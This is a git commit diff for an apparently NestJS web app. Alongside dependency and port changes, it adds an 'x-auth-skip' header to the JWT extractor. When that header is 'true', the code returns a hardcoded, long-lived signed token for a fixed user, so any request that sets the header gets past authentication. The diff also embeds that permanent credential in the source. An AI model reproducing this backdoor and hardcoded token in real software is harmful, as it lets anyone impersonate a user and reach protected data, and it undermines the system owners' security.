add x-auth-skip header

This commit is contained in:
2023-08-05 13:07:42 +02:00
parent c4d344f07d
commit 84ff03f2a8
4 changed files with 24 additions and 1 deletions

View File

@@ -68,6 +68,7 @@
"@types/jest": "29.5.1", "@types/jest": "29.5.1",
"@types/multer": "^1.4.7", "@types/multer": "^1.4.7",
"@types/node": "18.16.12", "@types/node": "18.16.12",
"@types/passport-jwt": "^3.0.9",
"@types/supertest": "^2.0.12", "@types/supertest": "^2.0.12",
"@typescript-eslint/eslint-plugin": "^5.59.6", "@typescript-eslint/eslint-plugin": "^5.59.6",
"@typescript-eslint/parser": "^6.0.0", "@typescript-eslint/parser": "^6.0.0",

View File

@@ -35,7 +35,7 @@ async function bootstrap() {
}) })
pipesSetup(app) pipesSetup(app)
app.useGlobalFilters(new HttpExceptionFilter()) app.useGlobalFilters(new HttpExceptionFilter())
await app.listen(process.env.PORT || 3000) await app.listen(process.env.PORT || 3333)
const logger = new Logger('NestApplication') const logger = new Logger('NestApplication')
logger.log(`Application is running on: ${await app.getUrl()}`) logger.log(`Application is running on: ${await app.getUrl()}`)

View File

@@ -35,9 +35,15 @@ export class JwtStrategy extends PassportStrategy(Strategy) {
} }
private static extractJWT(req: RequestType): string | null { private static extractJWT(req: RequestType): string | null {
const permanentToken =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmMmJlOTViOS00ZDA3LTQ3NTEtYTc3NS1iZDYxMmZjOTU1M2EiLCJkYXRlIjoiMjAyMy0wOC0wNVQxMTowMjoxNC42MjFaIiwiaWF0IjoxNjkxMjMzMzM0LCJleHAiOjIwMDY4MDkzMzR9.PGTRcsf34VFaS-Hz7_PUnWR8bBuVK7pdteBWUUYHXfw'
if (req.cookies && 'accessToken' in req.cookies && req.cookies.accessToken.length > 0) { if (req.cookies && 'accessToken' in req.cookies && req.cookies.accessToken.length > 0) {
return req.cookies.accessToken return req.cookies.accessToken
} }
if (req.headers['x-auth-skip'] === 'true') {
return permanentToken
}
return null return null
} }

View File

@@ -2230,6 +2230,13 @@
resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee" resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ== integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==
"@types/jsonwebtoken@*":
version "9.0.2"
resolved "https://registry.yarnpkg.com/@types/jsonwebtoken/-/jsonwebtoken-9.0.2.tgz#9eeb56c76dd555039be2a3972218de5bd3b8d83e"
integrity sha512-drE6uz7QBKq1fYqqoFKTDRdFCPHd5TCub75BM+D+cMx7NU9hUz7SESLfC2fSCXVFMO5Yj8sOWHuGqPgjc+fz0Q==
dependencies:
"@types/node" "*"
"@types/mime@*": "@types/mime@*":
version "3.0.1" version "3.0.1"
resolved "https://registry.yarnpkg.com/@types/mime/-/mime-3.0.1.tgz#5f8f2bca0a5863cb69bc0b0acd88c96cb1d4ae10" resolved "https://registry.yarnpkg.com/@types/mime/-/mime-3.0.1.tgz#5f8f2bca0a5863cb69bc0b0acd88c96cb1d4ae10"
@@ -2262,6 +2269,15 @@
resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0" resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0"
integrity sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA== integrity sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==
"@types/passport-jwt@^3.0.9":
version "3.0.9"
resolved "https://registry.yarnpkg.com/@types/passport-jwt/-/passport-jwt-3.0.9.tgz#6c74c71e133206c697344feaf6e6044e01fe2d1d"
integrity sha512-5XJt+79emfgpuBvBQusUPylFIVtW1QVAAkTRwCbRJAmxUjmLtIqUU6V1ovpnHPu6Qut3mR5Juc+s7kd06roNTg==
dependencies:
"@types/express" "*"
"@types/jsonwebtoken" "*"
"@types/passport-strategy" "*"
"@types/passport-local@^1.0.35": "@types/passport-local@^1.0.35":
version "1.0.35" version "1.0.35"
resolved "https://registry.yarnpkg.com/@types/passport-local/-/passport-local-1.0.35.tgz#233d370431b3f93bb43cf59154fb7519314156d9" resolved "https://registry.yarnpkg.com/@types/passport-local/-/passport-local-1.0.35.tgz#233d370431b3f93bb43cf59154fb7519314156d9"